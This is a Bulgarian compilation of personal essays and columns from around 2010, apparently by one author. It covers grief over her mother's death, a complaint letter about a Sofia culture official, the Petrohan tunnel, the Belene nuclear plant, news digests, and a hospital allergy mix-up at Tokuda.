Била е красива. С черните, подредени коси, прибрани в барета, с нежния овал на лицето й, с благородството на онези добри очи, които денонощно ме гледат от повехтялата черно-бяла снимка, сякаш ми казват с дискретна полуусмивка-тъга, достойна за четката на Леонардо: “Не тъгувай!…Аз бях щастлива!…Бедна, но щастлива с татко ви и с вас, мои безценни дъщери…!” Всичко събирах в душата си, за да прокарам пътя към вечността на мама. В хола, спалнята, кухнята, от фотографии, възпоменания, жалейки, окупирали съзнанието и целия ми свят, отвсякъде ме наблюдаваха с нежност очите й…
Коледарчето цъфна без нея. Ще посрещна и първата Нова година без терзанието, че тя не бива да я посреща в родния ми дом сама на село. Толкова жестока беше необходимосста ми да чуя по телефона гласа на мама, че сякаш в умопомрачение вдигнах слушалката…И отново избухнах в истеричен плач. А този плач е постоянен, рушащ, убиващ!…С неизпитвано през живота ми чувство на физическа болка от тази мъртвешка празнота и ужасяваща вина за чудовищния й край, който самите ние, дъщерите й, бяхме й подготвили с прекалените си грижи и погубващата наша вяра в медицината, чийто посланик за зла участ се оказа един злодей!
Присъствието на мама в живота ни правеше по-поносими тревогите и драмите, които насищаха дните ни. Съкровените й грижи, майчиното състрадание и съчувствие бяха на-искрените, най-истинските, което ги правеше безценни. Беше нейна визитка усмивката на лицето й, успокояващият тих ромон на гласа й, собствената й необходимост да приласкае, да оправдае всеки, волно или неволно съгрешил. Кръгозорът й беше всеобхватен. В осмото си десетилетие тя с еднакво любопитство, състрадание и удовлетворявайки собствената си необходимост да тренира ума си и поддържа своя дух, ежедневно се потапяше в житейските драми – четеше както своя любимец проф. Марко Семов и биографиите на знаменити политици и творци на изкуството, така и романтичните любовни приключения в отдавна нашумелите “розови” романи. Пътуваше без умора със своите приятелки и “колежки”-самодейки из страната. Бликаща радост излъчваха очите й както след концерти в старопрестолен Търновград, така и в малки, но китни градчета на България. И със същата воля и удоволствие потъваше в селския си труд – неизменния бит на всеки българин, роден и прекарал живота си на село. Всичко това даваше сили и смисъл на живота й.
Пазя писмата на мама отпреди 30 години. Препрочитам ги отново и отново – няма по-силно страдание от задочния разговор с нея, когато вече е в отвъдното. Колко грижовност, колко обич, колко мъка, труд и страдание в дните й!
“...Много обичам да получавам писмата ти, но ми е домъчняло да те видя – споделя мама в първото писмо до мен, когато за първи път отсъствах дълго от родния си дом. –С татко ти повече на работа го караме, вечер няма кой да ни сготви…Вижда ни се много трудно сами!…Зная, че обичаш да ме вземеш при себе си /на морето, което мама видя едва на 75 -годишна възраст/, но с татко ти имаме много задължения. Сега започнахме ударно да работиме в цеха и се надяваме на повече пари…”
/В продължение на десетки години и понастоящем т. н. “галваничен цех”, функциониращ в родното ми село, бълва отрови с химикали и токсичните си препарати, които са основни в дейността му. Някога предлагаше на работниците си “полагащо се кисело мляко”. Но помня постоянните обриви и физическо неразположение на майка ми и нейните колеги. Непростимо, дори престъпно е, че тогава никой от местните “управляващи” не се интересуваше от подобни проблеми. Не се интересува и днес. Нямам информация дали в “дълбоката провинция” държавата, в лицето на оторизираните си органи, понастоящем прилага контролните си функции по отношение на подобна престъпна и вредна за човешкото здраве дейност, бдейки за стриктно спазване на законите и правилата както за “чиста работна среда”, така и за опазване на екологията. Но моите съселяни преживяха трагична съдба – за шокиращо кратък период починаха бивши работници в този цех и всички с диагноза “рак”! Но по-обезпокоителен е фактът, че собствениците използват за “бизнеса” си и млади българи, останали да живеят в забравените и изостанали селца и пападнали там по принуда поради липса на каквато и да е алтернатива за социална реализация, за достоен и здравословен живот!/
…До последния си дъх мама се грижеше, мислеше и страдаше не само за мен и сестрите ми, но и “за нашата бедна България, която пренебрегват и не ценят в Европа” – с подобни тегоби тази свята жена пътуваше към отвъдното.
…Нищо не можеше да ме спаси! След една година стана още по-болезнена погубващата сила на нейната липса. Тази сила свежда до минимум съществуването ти, ден след ден се рушат сетивата ти и усещането за живота около теб и в теб. И се топиш от безпомощност, от безсилие. И ставаш подвластен на нищото…Обзема те убийствена апатия към обкръжаващия те свят – всъщност той изчезва пред теб, не допускаш никого в твоя собствен, вече само въображаем свят, в който попадаш с трясък и гръм, не разговаряш с никого за нищо, не споделяш, не си задаваш въпроси, защото не те интересуват отговорите, смяташ за безсмислено всяко докосване до реалността, до хората около теб, до събитията и причинно-следствените връзки между тях. Ставаш асоциален, безчувствен, неадекватен. И докато с умъртвени сетива потапяш душата и сърцето си в миналото, докато виждаш единствено трагедията, няма измъкване в реалността. То се оказва по-тежко от всяко болестно страдание.
“Постоянна вярност на реалността на всяка цена” – определя Морган Скот формулата си за психическото здраве. Но страданието при такава загуба е по-силно от нас. Човешкото същество не е достигнало такова съвършенство в еволюцията си, че да се справя с всичко, което диктува животът ни и да излиза винаги победител в борбата с него. Човек може всичко, но не и да полети с птиците, не и да върне обратно живота.
Преди години, по време на мое интервю с колоритния писател, драматург, театрален и филмов режисьор Павел Павлов приех за твърде странна любимата му мисъл, чийто автор е Райнхард Урбах:
“Бъдещето е тъмно! Миналото е светло. То е завършено. Бъдещето е смъртта! Миналото е вечният живот.”
Схванах философията на тези думи, прониквайки в тъгата на писателя по безкрайната му самотност и изгубените прекрасни и верни приятели, останали в миналото и спомените му. Но може ли да се живее истински, ако не си в състояние да гониш мечтите си, а преследваш само погубващи спомени?
Вече не изпитвах никакво съмнение в твърденията, че всичкото зло на света се извършва от хора, които са абсолютно убедени, че знаят какво вършат. Абсолютно убедени в действията си бяха и субектите, които тласнаха майка ми към едно предумишлено и бързо умъртвяване, с което обрекоха на тъжно бъдеще и многолюдния й род.
Следва продължение.
"
-
Следващото материалче на вашето внимание.
"Скандал в Столична Дирекция „Култура“
Здравей, Читателю!
Днес те правя свидетел на моето послание до г-жа Галина Бежанска – директор на дирекция “Култура” при Столична община. Поводът: скандалното безотговорно отношение и поведение на нейна служителка.
На 19 ноември в родното ми село предстоеше тържествено честване 50-годишен юбилей на фолклорната певческа група, организирано от наскоро учредения Клуб на пенсионера в полупланинското село, оредяло, обедняло и забравено от всички. Подобно събитие не се беше случвало от десетилетия. Една малка група от ентусиазирани възрастни българки-родолюбки и ценители на народните стари традиции, станали причина за тяхното оцеляване и съхранение до днешния ден, в студ и пек, уморени и отчаяни от недоимък и забрава, всяка вечер захвърлят мотики и мръсни работни дрехи и се отправят като влюбени девици към пенсионерския клуб. Там ще освежат душата си, ще се почувстват нужни за съселяните си, защото ще ги върнат в далечните години на тяхната младост и възторг от живота. Няма съмнение, че тези велики жени са забравените бисери в нашия живот, изворът на нашето вдъхновение да го осмислим и преодолеем своите страдания и неволи. Те са лекотата, силата и волята, с която еднакво са поемали и уханието на ябълков цвят, и болката от къпиновия храст, и красотата в живота, и тъмните му, тежки краски. Те са нашата сила и наша благодарност. Годините са изрисували бразди по отрудените им лица, времето е наслоило своя блясък върху сребърните им коси. Изгубвали илюзии, поглъщали дълбоко душевните си болки, обикновени, благородно старомодни, те живеят по законите на една предопределена съдба. Магията на слънчевите изгреви и залези, мистичните сенки на лунните нощи само измамнически ще докосват и галят прозаичния им живот, с еднаква завидна сила на духа си създали, посрещнали и сбогуваще се с този живот. Те не знаят какво е слава и богатство, но са щастливци, разчели голямата магия на съзиданието. Помнят кръстопътища на мъки и раздели. Със сигурност са усетили мириса на барут, изпитали са страха от тътена на смъртоносни бомби, ужаса от люлееща се земя и ураганен вятър, но не са позволили върху собствения си гръб поражението от сгромолясване на духовните висини до моралния упадък – без тази тежест вълните на времето ги носят от люлката до гроба.
Никога няма да притежаваме тяхното богатство-леките им стъпки из буренясали поля, издръжливостта сред убийствената мараня, напевния им глас сред дългите бразди, тъжните им напеви край дъхави купи сено. Те знаят силата на истината и лъжата, на любовта и омразата, на разочарованието и надеждата, завинаги отворили очите си за слънце и за обич. За света са безименни и непознати, но за нас са безценните бащи и майки, баби, дядовци, любими. А когато ги загубим и нашите години отиват си безследно – липсват ни и в дните, и в кошмарните ни нощи. Липсват ни прегръдките, очите и усмивките. Липсва ни най-истинската обич, съвест и доблест.
Никой не се сеща за тях десетилетия. Читалищната дейност отдавна е проформа. Никой няма амбиции да съхрани миналото, рода, традициите, освен единици. Помага им и ги разбира доц. Великов, правнукът на Петко Страшника, бивш депутат от 40-то народно събрание, Председател на сдружение “Приятели на Радичков”, мъдрецът-земляк на възрастните самодейки, гордеещи се с името и делото му. Помага им и кметът на община Берковица – инж. Милчо Доцов. Не са велики гласове, кръстосвайки света и прославяйки България, но отдадени на прекрасното си хоби и обич към песента, кръстосват с любов България – по надпявания, събори и тържества. Гостуват на премиера на книга в Столична библиотека, срещат се с великата Янка Рупкина, а когато запяват, с обич и възхита им припява и знаменитата певица, носителка на “Грами”. И те са повече от щастливи от тази боголюбива среща.
Като тяхна землячка, обичаща родния си край, реших, че любовта и отдадеността на тези селянки към певческото изкуство е достойно за почит и поклон. Позволих си да споделя това с министъра на културата, като заявих, че Министерство на културата е в дълг към тях. Похвална е светкавичната реакция на г-н министъра Вежди Рашидов. Екипът му веднага изготви специален Поздравителен адрес до юбилярите лично от името на министъра.
За жалост, оказа се, че е много по-трудно да се срещнеш с върховния представител на столичната дирекция “Култура”, отколкото с министъра на културата! Направих отчаян опит да сторя това и тъй като нямах предварителна уговорка за среща с г-жа Бежанска /такава нямах и в Министерство на културата, но бях приета безпроблемно и безпрепятствено!/, опитах да сторя това чрез секретарката й. В деня на моето посещение тази функция /може би временно/ изпълняваше г-жа Ивана Пасева – един от главните експерти в дирекцията. Тя не ме допусна до г-жа Бежанска, с която имах щастливата възможност да се запозная при гостуването й по моя покана на премиера на моя книга, за която имах съдействието на самата дирекция и лично на г-жа Бежанска. Г-жа Пасева брилянтно ме прогони от стаята на секретарката, дори не склони да съобщи на Галя Бежанска за молбата ми да се срещна за минутка с нея. “Любезността“ на Пасева не ме изненада /обикновено тя се проявява преди всичко от низшия персонал на която и да е институция, което е успокоителна констатация/. Заявих на Пасева, че в такъв случай няма да й създавам проблеми и ще изчакам в коридора. За да докаже вероятно “предаността си” към шефката, г-жа Пасева ме последва, за да осуети това мое намерение. Но едно от лошите ми качества е, че когато си наумя да сторя нещо за имена и личности, заслужили с живота си, с действията си почит, внимание и уважение, не бих допуснала екземпляри от рода на “експертката” да се гаврят с тях чрез мен. За моя изненада г-жа Пасева предусети това и прие молбата ми за жест към моите земляци-юбиляри, приети така радушно от екипа на Столична библиотека при гостуването им в София. Уговорихме се за среща в петък. В този ден тя отсъстваше. Но се оказа по “недоразумение”, че било в “следващия” петък. Тя отново отсъстваше. Колежката й г-жа Горанова нямаше никаква информация за случая. Това обстоятелство ме разгневи, защото не допусках подобна безотговорност, бездействие и непукизъм, а след два часа трябваше да съм на 100 км. от София, за да поздравя юбилярите от името на Министерство на културата и от техни колеги от други населени места. /При наличие на поне двама главни или “старши” експерти във всяка стая на ІV-ти етаж на дирекция “Култура” на Столична община./ Почти спретнах скандал, което принуди г-жа Горанова да поеме ангажимента на отсъстващата си колежка. А тя пристигна с цялото си безочие и без ни най-малко притеснение излъга:
“Готово е…При г-жа Бежанска е…”
- Като е при г-жа Бежанска, защо се налага колежката Ви да го пише отново? – не издържа възмущението ми.
И експертката Пасева избълва скандално “оправдание”:
“Нямам вина…Все пак поех ангажимент в коридора…”
Този епизод в дирекция “Култура” наистина беше скандален.
Почитаема г-жо Бежанска, моля Ви, не допускайте отново Ваши некадърни и безотговорни служители да внушават неизпълнение на собствените Ви ангажименти, прехвърляйки изцяло отговорността върху Вашата личност и длъжност. Позволявам си в качеството на дългогодишен организационен работник в сферата на културата да заявя, че персони като г-жа Ивана Пасева са не само безполезни, те са категорично вредни за тази институция. С действия като нейните се рушат основите на дълго изграждан авторитет, както на уважавани личности, така и на цяла институция, имаща великата мисия да съхрани духа и българщината.
Приемете почитанията ми!
Цецка Бончина
София"
-
Следващото от нея.
"В Парламента отново ни предадоха
Привет, Читателю!
Приеми искрените ми съболезнования, скъпи земляко от българския Северозапад!
Неизвестно още колко години ще пътуваш до родната столица през дупки и нескончаеми завои. Оставаш анатемосан и забравен за дълъг период напред.
Днес /26 ноември 2010/ в родния Парламент отново направиха опит да се погаврят с теб, уж изпълнявайки дълга си. Господин народен представител Лъчезар Тошев с “въпроса” си “изпълни” повече от формално “дълга” си пред своите избиратели и пред телевизионните камери. Без “дуплики”, без “реплики”! “Отговарящият” ресорен министър беше лаконичен и категоричен:
“Тунелът под Петрохан /както и Троянският/ не е приоритет, не попада в Трансевропейската транспортна мрежа…не е от стратегическо значение!”
Българино от Северозападнала България, кога най-сетне ще ти стане ясно, че твоят живот и съдба никога не са били и няма да бъдат от “стратегическо значение”! Трагичното е, че ако за братята европейци, контролиращи с твърда ръка съдбините ти с т.н. Европейски съюз не си от “стратегическо значение”, още по-несъществено е това ти “значение” за братята родни държавници и политици. Не си “значителен”, българино-земляк, нито днес, нито си бил важен в миналото! Нито ти, нито твояг “Петрохан” сте от “национално и европейско значение”!
Видя ли, чу ли колко брилянтно, безоблачно, протоколно, колегиално, “мина” – и въпросът на Лъчезар Тошев, и отговорът на министъра в петъчния “парламентарен контрол”?
Нима отново ще се примириш! В кой век живееш? Радостно е, че в транспортната инфраструктура на България “приоритетни” са преди всичко магистралите , но ти, гражданино от Берковица, Вършец, Монтана, Лом, Видин, Белоградчик, Вълчедръм, Гаврил Геново, Георги Дамяново, Чипровци и т.н. и т. н. – колко пъти през последните две десетилетия преброди България, съжалявайки, че не си се движил по магистрала? Тази година колко пъти пътува по магистрала?…Ти не успя, но италианецът, комуто подари земите си, беше ощастливен! Почувства се европеец дори в България! Това не е ли чест за теб?…Сниши се, смали се и си вегетирай, както си го правил слугински и до сега! Ако ти отърва!
За отговорните български политици, ако има все още такива, и за нашите народни представители от Видински и Монтански избирателни райони ще си позволя една ретроспекция, надявайки се да прояснят паметта си и прочистят съвестта си:
След прокарването на ж.п. линия между гр. Лом и София гр. Берковица остава откъснат от главната артерия, свързваща столицата с европейските страни. Остава настрана и изолирана, тъй като Петроханският проход вече не се използва. Азбучна истина е, че пътищата са главните артерии, по които пулсира кръвта на живота и този път дотогава е играл решаваща роля както за Берковица, така и за селищата наоколо. Това обстоятелство допълнително стопира развитието на града и региона, който, кретайки бавно и несигурно, започва все повече да изостава…
Проблемът “тунел под Петрохан” се влачи от цяло столетие. Той е бил последната, голямата, дълголетна мечта на родолюбци и патриоти, “мечтата на нашенци”, както я зове най-големият родолюбец на северозападна България – Милан Революцията. Изминали са почти сто/!/ години, откакто е лансирана идеята за прокарване тунел под Петрохан, който да продължи ж.п. линията от гр. Берковица до София. Днес братята европейци имат ли интерес от това? Според отговора на г-н министъра – категорично не! Нелогично е, защото подобно епохално начинание е свързано и с решаване на проблеми от общоевропейско значение, които биха възникнали след построяване на Дунав–мост 2.
Както споделя урбанистът Иван Ценков на страниците на органа на “Регионално сдружение на общините за развитие на туризма – “Северозападен балкан” – в-к “Северозападен балкан”, София ще стане уникална столица, пресечна точка на три еврокоридора – 4, 8 и 10 – за прехвърляне на ж.п. и автотовари. А най-късото разстояние от Дунав-мост 2 през София за гръцката и турската граница е нова ж.п. автомагистрала, която да минава в тунели и естакади под Петрохан и Стара планина.
Но днес Донкихотовци не се раждат. Поне за да поддържат живи мечтите ни.
Тунел под Петрохан е разковничето за сбъдване мечтите на болшинството българи от този регион за жизнен просперитет. Има /ло/ е проекти за изграждане на двойна скоростна ж.п. магистрала под вр. Петрохан, както и нова автомагистрала от Видин до София. Очаква/ло/ се гр. Берковица да бъде сред основните гари в посока север. Ж.п. магистралата трябва да минава през изключително трудни терени, сред които е преодоляването на Стара планина под петроханския проход с тунел с дължина от 16 до 19 км. По предварително направени разчети изграждането на магистралата би струвала между три и четири милиона долара на километър.
При посещението си в Япония бившият външен министър Соломон Паси подхвърля идеята за тунел под Петрохан на японското правителство, може би поради факта, че през 2002 г. Япония предоставя заем на България от 109 млн. долара, плюс японски хидро-щит – “къртица”, за да се пробие с нея подземно центъра на София и се построят новите метростанции.
През 2004 г. българският урбанист Ценков не е много обнадежден в реализацията на този стратегически инфраструктурен проект, завещаващ го на “идващи правителства в близките 50 години!” Но Милан Революцията, берковският “възрожденец”, както го нарича акад. Светлин Русев, не се предава и продължава да разпалва дълго тлеещия огън. На среща в Министерство на регионалното развитие през м. декември 2005 г. той отстоява идеята за концесионирането на тунел под Петрохан, като се солидаризира с идеята на народния представител от Монтанско Васил Калинов, че концесионери могат да се намерят не само в България, но и извън нея.
“Според мен Сдружението на общините Берковица, Годеч, Георги Дамяново, Чипровци, Чупрене и Белоградчик са най-заинтересовани от прокопаването на тунела и модернизирането на шосето и трябва всячески да се борят за това – убеден е Милан Революцията. – Много важно е сега цялото трасе и тунелите да се разделят на участъци, които да се предложат на концесионерите.”
Уважаеми народни представители на Северозападна България, уважаеми господа кметове на северозападните български общини, имате ли ентусиазма, амбицията и волята да се борите за жизнения просперитет на вашите гласоподаватели от този край? Не забравяйте, че същите те ще се явят пред урните и догодина, и след три години! Какво ще обещавате тогава? А какво ще отчитате от поетите предизборно ангажименти, макар че сте достатъчно обиграни и опитни, за да не захапвате непоносимо голяма лъжица, каквато е тунелът по Петрохан!!!
Гласоподаватели от северозапада – мечтайте, но и дерзайте! Не забравяйте, че Европейският съюз няма да ви помогне, както се оказа на практика от изявлението на министъра в петъчния парламентарен контрол на 26 ноември 2010 г.! Приказката за дебелия врат на вълка и днес си остава актуална!
През нашите земи, твърдят, “историята преминала в галоп” и оставила единствено следи от копита. Кой най-сетне ще зажалее за този, някога буден, сетне западнал край, чиито селища някога обявяват за “затихваши”, а сетне наистина докарали до затихнали, пренебрегвани и често забравяни през всички периоди от новата история на България. В годините на социализма оставен на автопилот – в идеологически план някога размирно, а днес послушното му население изповядва онова велико, но неправдоподобно и невъзможно Ботевско верую – “единний, светъл комунизъм”! И дълги години е сигурният бастион на управляващата класа. Затова и пропагандната машина пренасочва изцяло своята енергия и бдителност и упорито ухажва другия западнал край – етнически деликатния югоизток на България. Той трябва да се поддържа за каузата за необозримо дълъг период.
През дивия зародиш на новия капитализъм, в “новото време” на “демократичен подем”, оказва се Северозападът отново е пренебрегван и дори вече обругаван поради същата причина – болшинството от населението му остава верен привърженик на лявата идея и не й изневерява дори и в критичния период, когато тя, стремително и сякаш безвъзвратно, изтича във времето…
“Неразрешимият” за България казус в Парламента – “тунел под Петрохан” по време и на днешния парламентарен контрол красноречиво и още веднъж доказва горната констатация!
"
-
Следва това: "Овчарката за Путин и АЕЦ Белене
Здравей, Читателю!
Хареса ли ти премиерския подарък за Путин? Руският ни приятел гушна, целуна с нежност българската овчарка и си замина. Но тя не провокира милост и снизхождение у първенеца на необятната страна. И след дни “Росатом” отправи към България своя ултиматум – Русия няма да строи АЕЦ “Белене” при цена, по-ниска от 6,4 млрд.!
А България не дава повече от 5 млрд. “Росатом” държи да притежава поне 26% от акциите. Вложените инвестиции ще се възвърнат едва на 20-та година след пускането на съоръжението, чиято възраст съобразно проектирането му се очаква да достигне до 60 години. Ако България не удържи на думата си, Русия ще пренасочи оборудването в други държави, а загубите от неустойки за нас ще възлязат на повече от 1млрд.!
Премиерът Борисов е категоричен:
“С ултиматум преговори не се водят!”
“Искаме АЕЦ да бъде най-сигурната и най-евтината!”
“Колкото повече ми поставят ултиматуми, толкова повече се втвърдявам!”
И все пак – ще подпише ли България договора за строителство на АЕЦ “Белене” с Русия?
Министърът на енергетиката отговаря по-дипломатично:
“Ще подпишем, ако се споразумеем по всички клаузи…Ако има загуби, те ще бъдат и за нас, и за руската страна.”
Пак според министъра договор ще има там, където се срещат интересите ни.
А опозицията отново демонстрира самочувствие:
От БСП предупреждават, че “отговорностите са огромни”, заложени са сериозни геополитически интереси. А управляващите “се срамуват да кажат пред обществото, че искат да реализират този проект.”
Остава да наблюдаваме внимателно до каква степен ще продължи да се “втвърдява” премиерът Борисов и какви ще са последиците от това за България и всички нас.
"
-
Едни стари, но интересни новини от bonchina: "27 ноември 2010 Съботните новини
+ Активистите от „Атака“, предвождани от лидера си Волен Сидеров – върнати на сръбската граница на път за Босилеград за честване 91-та годишнина от подписване на Ньойския договор; протестират, няма никой в сръбското посолство за информация; за българското Министерство на вътрешните работи не е ясна причината, важно е активистите да не блокират работата на граничен КПП; от Външно министерство също са „обезпокоени“, че българските граждани не са допуснати до Сърбия;
Волен Сидеров: „Нямаме отговор. Три часа ни държаха на българобългарската граница. Шестстотин човека бяха строени и недопуснати в Босилеград за честване годишнината от Ньойския договор. Външно министерство обеща да повика за разговор сръбския посланик. Не са успели до този момент да се свържат със сръбското Вънщно министерство. Търсят информация и от турските власти за причината за спиране на автобусите…Сърбите нарушават всички международни норми. Сърбия кандидатства за Европейския съюз, но няма необходимите качества за това. Никой не е провокирал никакви действия, спряха ни и не ни пуснаха, защо – не отговориха.“
Водят се дипломатически разговори.
+ Запорирано е имуществото на Главното мюфтийство;
+ Крак от хлебарка открива Кристина Керчева в хляба за закуска на децата си. Търговци го приемат за „нелоялна конкуренция“. Води се разследване.
+ Бербатов – с пет гола в един двубой с Блекбърн!
+ Над 1 млн. лева от такси на студенти – преведени на частно сдужение, оглавено от декана на Юридическия факултет при СУ – проф. Тенчо Колев. Сдружението ползва сградата и името на алма-матер. Оползотворява почти половината от студентските такси, за да „подпомага обучението им“, харчи и пари за реклами, нощувки в бутикови хотели, вечери, за „обгрижване и ухажване“ на чуждестранни преподаватели. Секретар на сдружението и ръководител на магистърската програма е бившият зам.председател на 41-во Народно събрание от РЗС Атанас Семов.
Предстои да се разбере има ли сблъсък на интереси в публично-частното партньорство между СУ и частното сдружение. Води се проверка.
+ 86х. евро са задържани от операция „Пластиките“ . От арестувани 10 души в ареста остават четирима.
+ Ген. Ваньо Танов – шеф на Агенция „Митници“ и бивш шеф на ГД БОП:
„Ако някой е в зависимост, то това е Румен Петков, който не е сигурен дали Алексей Петров не е записал срещата им с братя Галеви. Алексей Петров най-вероятно е записал срещата с Румен Петков и го поставя под зависимост.“
+ Резерватът Никополис ад иструм – с незаконно продадени терени на частни лица.
+ Барак Обама – пострадал в устната при игра на волейбол и пропуска срещата с коледната елха. Остава с 12 шева.
+ Петя Буюклиева – с грандиозен юбилеен концерт – ще пее със сина си и със световноизвестния български тенор Бойко Цветанов. В шоуто ще участва бендът на БНР, ансамбълът на Нешка Робева и група „Конкурент“.
Петя се гордее, че има ученик, приет в „Мюзикскуул“ – Лондон
"
-
Пак новини. Ах, какви новини е имало едно време!
"29 ноември, 2010 Новините
+ Във ВМА на 45-годишна възраст почина от „полиорганна недостатъчност“, причинена от рядко инфекциозно заболяване „Ку-треска“ и липса на донор за чернодробна трансплантация, големият и обичан български актьор Андрей Баташов. Роден във Волгоград, Русия. Доцент по актьорство майсторство и режисура в НАТФИЗ, с над 40 роли в театъра и киното. Емблематичният за Баташов моноспектатъл „Секс, наркотици и рокенрол“ има над 500 представления пред българските му почитатели и любители на Мелпомена. На сцената на театър „199“ е изиграл 799 представления. Бивш депутат от листата на НДСВ в 40-то народно събрание. Церемониал-майстор на „Ордена на тамплиерите“ в България.
„Единствената партия у нас е България“
Андрей Баташов
+ Код „оранжево“ за опасност от силни ветрове – със скорост от 60-100-140 км/ч.
+ Отлага се делото за „Наглите“.
Жертвите:
Сем. Бончеви – 1 200 000 лв.
Румен Гунински – 700 000 лв.
Киро Киров – 1 000 000 лв.
Илиян Цанев – 200 000 лв.
Джорджо Марков – 400 000 лв.
+ Сблъсък на два танкера на 20 км. южно от нос Емине; четирима спасени от 10-членен екипаж на потъналия танкер, превозващ скрап, сред които 9-ма сирийци, 1 египтянин;
+ Сергей Кириенко – бивш премиер на Русия и настоящ президент на „Росатом“ – отново на посещение в България за нови преговори около АЕЦ „Белене“;
Трайчо Трайков – енергиен министър:
„..За нас основно нещата се въртят около цената…Ние искаме да го имаме като доходоносен актив и елемент на енергийната система на България, но не като нещо, от което ще губим пари…Ако се стигне до прекратяване на договора, неустойките ще са на база „пропуснати ползи“.
+ Криминалната търговия с черни и цветни метали – законодателно преустановена; Само фирмите – с право да търгуват; Забрана за търговия на физически лица; Изкупвателните пунктове – извън жилищните квартали и с постоянно видеонаблюдение;
+ Сайт „Уикилийкс“ взривява световната дипломация и провокира дипломатическа криза с публикувана информация за 250 хиляди секретни документа на Държавния департамент на САЩ, хвърлящи светлина върху дейността на дипломатическите посолства по света.
/Муамар Кадафи: „…Не обича да лети дълго със самолет, да изкачва повече от 35 стъпала; …не се разделя с медицинската си сестра.“/
/Путин: „…мъжкар, лидер на глутницата!“/
/Берлускони: „…безпомощен, безполезен лидер!“/
/Саркози: -„..император без дрехи!“/
„Не всяко събиране на информация е шпионаж“ – твърди Ст. Тафров, дипломат от кариерата.
+ Северна и Южна Корея – отново на крачка от война.
+ Протести в Хаити заради фалшив вот.
+ В България – 26 места с температурни рекорди – 25,5 – 25,7; студено – към 10-ти-11-ти декември; сняг – към средата на декември;
Минус 27 градуса във Великобритания.
+ Кръстовището „Русе-Бяла“, открито на 19 ноември, – погрешно проектирано!
Агенция „Пътна инфраструктура: „Кръстовището е безопасно…Взети са всички мерки за това“.
+ Българката Мишел Бонев, спонсорирала посещението на делегация от българското Министерство на културата във Венеция - в центъра на медийното внимание в Италия; Вот на недоверие към министъра на културата на Италия поради провокирания скандал около българката; Италиански интелектуалци настояват тя да върне наградата си от кинофестивала във Венеция; Мишел Бонев се извинява на българския министър на културата Вежди Рашидов; Филмът на българката „Сбогом, мамо“ е спонсориран с 330 х. лв. от Национален филмов център на Ал. Донев; Не е участвал в национален филмов фестивал в България; Българският министър на културата присъства на 15 април 2010 г. на снимачната площадка.
+ Созопол иска да влезе в списъка на „ЮНЕСКО“
+ Емисари от „ЮНЕСКО“ – нелегално в Несебър с дискретна охрана; Отказват официална информация за целта на посещението си;
Изявление на Тодор Чобанов, зам.министър на културата:
„Българската държава ще докаже, че може да пази световното културно наследство – свое и на света.“
+ ФСБ – на турне /София, Варна, Пловдив/;
Румен Бояджиев: „Човек, когато не знае какво да прави, трябва да се осланя на направеното преди него..Опитваме се да създаваме дела, вместо да приказваме“. .
+ На 84-год. възраст почина един от най-великите американски комедийни актьори /от „Има ли пилот в самолета?“/ – Лесли Нилсен.
"
-
Едно за болница от 30.11.2010:
"Лукс и безотговорност в болница „Токуда“
Макар че ти е писнало от куриози и абсурди в ежедневието, бих искала да те запозная с пореден любопитен, но опасен за всеки простосмъртен, абсурд, разиграл се в една от най-реномираните и големи болници в страната – болница „Токуда“! Всеобщото утвърдило се мнение за нея е това „…символ на професионализъм, богатство и лукс“. Съвсем отговорно ще направя „малка“ корекция: „символ на безотговорност, богатство и лукс“.
Наистина „дребните камъчета“, за които ти намекнах в предишна среща с теб, Читателю, „преобръщат каручката“. Луксозната „колесница“ „Токуда“ не е застрахована от подобна съдба. И тя си има своите компрометиращи и опасни за живота и здравето ни „камъни“.
Преди няколко месеца синът ми се нуждаеше от оперативна интервенция. Личната лекарка го насочва към съответно отделение на „Токуда“. /Честно казано, това съчетание от звукове в името на японския й собственик малко ме стряска, не зная защо!/ Както може да се предполага, социалният ми статус не е за завиждане и подобно „насочване“ доста ме притесни. Нямах никаква представа колко ще струва това лечение, има ли клинична пътека за него и пр., и пр.
Часове преди операцията изрично предупредих старшата сестра, че синът ми има медикаментозна алергия към две лекарства, което той беше пропуснал да сподели, но никой не го беше и питал за това! И както изискват правилата във всяко болнично заведение, тя уж „отбеляза“ този факт в т. н. „предоперативна епикриза“ на пациента. След извеждането на сина ми от операционната, в болничната му стая посетилият го хирург, извършил интервенцията /справедливо е да отбележа, че той беше добър събеседник, внимателен, тактичен и дипломатичен, впоследствие се оказа и прекрасен специалист/, ми зададе твърде озадачаващ, почти риторичен въпрос:
„Синът Ви няма някаква алергия, нали?“
Това наистина абсурдно обстоятелство ме подлуди и атакувах светкавично хирурга:
„Докторе, какво говорите?…Преди операцията специално се срещнах със старшата сестра, която отбеляза в документ алергията на сина ми!“
Рутината, а вероятно и донякъде професионалната деформация на лекаря му помогнаха да запази самообладание и той още по-изненадващо и за себе си, и за мен, сподели:
„Вероятно е станало объркване/!!!/ …А аз се чудех защо синът Ви пие в момента/!/ тези лекарства!“
Схващаш ли, бедни българино, на какво може да бъде подложено детето ти и с какво изпитание трябва да се бори съдбата ти, за да те съхрани жив – и теб, и децата ти, и близките ти? Подобна „практика“ не е изненадваща за нашето здравеопазване. Практика, която убива, умъртвява, но никога няма отговорни, потърпевши и наказани. Не бях в състояние да премълча тази ужасяваща, опасна безотговорност и поисках специална среща с хирурга. Той внимателно, търпеливо и с очевидно притеснение изслуша тирадата ми, която беше приблизително следната:
„Докторе, не мога да Ви го спестя и да не споделя с Вас огромното си възмущение от престъпната безотговорност и нехайство на субекти от екипа Ви! Вие вероятно сте прекрасен хирург и човек, но следващия път това Ви реноме и авторитет ще бъдат тотално и светкавично сринати от евентуалните действия на една медицинска сестра…Но когато пациентът Ви издъхне на операционната маса, виновникът ще сте Вие! Вероятно не по-малко виновен ще бъде и анестезиологът! Позволявам си да Ви споделя, че ако зависеше от мен, тази медицинска сестра веднага би трябвало да понесе най-тежкото и административно, и дисциплинарно наказание!
Нямаше място за друга реакция, освен:
„Съжалявам!…Ние се стараем периодично да прилагаме строг контрол върху работата на екипите, но виждате, че не съвсем успяваме…Ще имам предвид случилото се…!“
…Дали е „взето предвид“ случилото се в отделението на луксозната „Токуда“ нямам информация. Изкушавах се дълго време от желанието да внеса „Оплакване“ до ръководството на болницата, но реших, че няма да има никакви последствия за виновните, изхождайки от абсурдността на времето, в което живеем.
„Всеки да се спасява поединично!“ си остава в сила. Но нали някой в тази държава трябва да бъде загрижен за здравето поне на децата ни!
Втори абсурд в „Токуда“, утвърдил се като постоянна практика, предизвикала напоследък интереса на медии и протеста на пациенти:
